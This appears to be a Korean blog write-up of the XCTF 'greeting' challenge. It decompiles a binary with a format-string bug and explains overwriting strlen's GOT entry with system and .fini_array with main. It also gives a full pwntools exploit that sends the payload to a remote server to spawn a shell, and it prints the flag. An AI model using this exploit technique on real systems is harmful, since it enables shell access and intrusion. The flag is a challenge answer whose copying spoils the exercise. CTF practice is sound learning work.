-
Disassembly 디스어셈블리
void main(void) { int32_t iVar1; int32_t in_GS_OFFSET; undefined auStack148 [64]; char acStack84 [64]; int32_t iStack20; iStack20 = *(int32_t *)(in_GS_OFFSET + 0x14); printf("Please tell me your name... "); iVar1 = getnline(acStack84, 0x40); if (iVar1 == 0) { puts("Don\'t ignore me ;( "); } else { sprintf(auStack148, "Nice to meet you, %s :)\n", acStack84); printf(auStack148); } if (iStack20 != *(int32_t *)(in_GS_OFFSET + 0x14)) { __stack_chk_fail(); } return; }
main은 printf로 인해 포맷 스트링 버그가 발생한다.
void getnline(char *s, int32_t arg_ch) { undefined *puVar1; char *var_ch; fgets(s, arg_ch, _reloc.stdin); puVar1 = (undefined *)strchr(s, 10); if (puVar1 != (undefined *)0x0) { *puVar1 = 0; } strlen(s); return; }
strlen의 got를 system의 주소로 덮으면 system("/bin/sh")를 쉽게 호출할 수 있다.
.fini_array
FSB로 strlen의 got를 조작한 뒤 공격을 이어나가기 위해서는 main이 다시 호출될 필요가 있다. 따라서 main이 종료된 이후 다음에 실행될 함수의 주소를 담고 있는 .fini_array를 FSB로 덮으면 된다.
Code
더보기from pwn import * binary = "./greeting" lib = "../../lib/libc6_2.23-0ubuntu11_amd64.so" server = "111.200.241.244" port = 33098 context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu') e = ELF(binary) r = ROP(e) l = ELF(lib) e.checksec() fini_array = 0x8049934 main = e.symbols["main"] system_plt = e.plt["system"] strlen_got = e.got["strlen"] numbwritten = 18 payload = b"AA" payload += p32(fini_array) + p32(fini_array+2) + p32(strlen_got) + p32(strlen_got+2) payload += "%{}c%{}$hn%{}$hn".format(0x0804-len(payload)-numbwritten, 13, 15).encode() payload += "%{}c%{}$hn".format(0x8490-0x0804, 14).encode() payload += "%{}c%{}$hn".format(0x85ed-0x8490, 12).encode() p.sendline(payload) p.recv(40000) payload = "/bin/sh\x00" p.sendline(payload) p.interactive()
Flag
cyberpeace{9322412188ac475bc0084a69bd7f6160}
'CTF > XCTF' 카테고리의 다른 글
Recho (0) 2021.02.11 pwn-100 (0) 2021.02.11 welpwn (0) 2021.02.11 Mary_Morton (0) 2021.02.11 int_overflow (0) 2021.01.21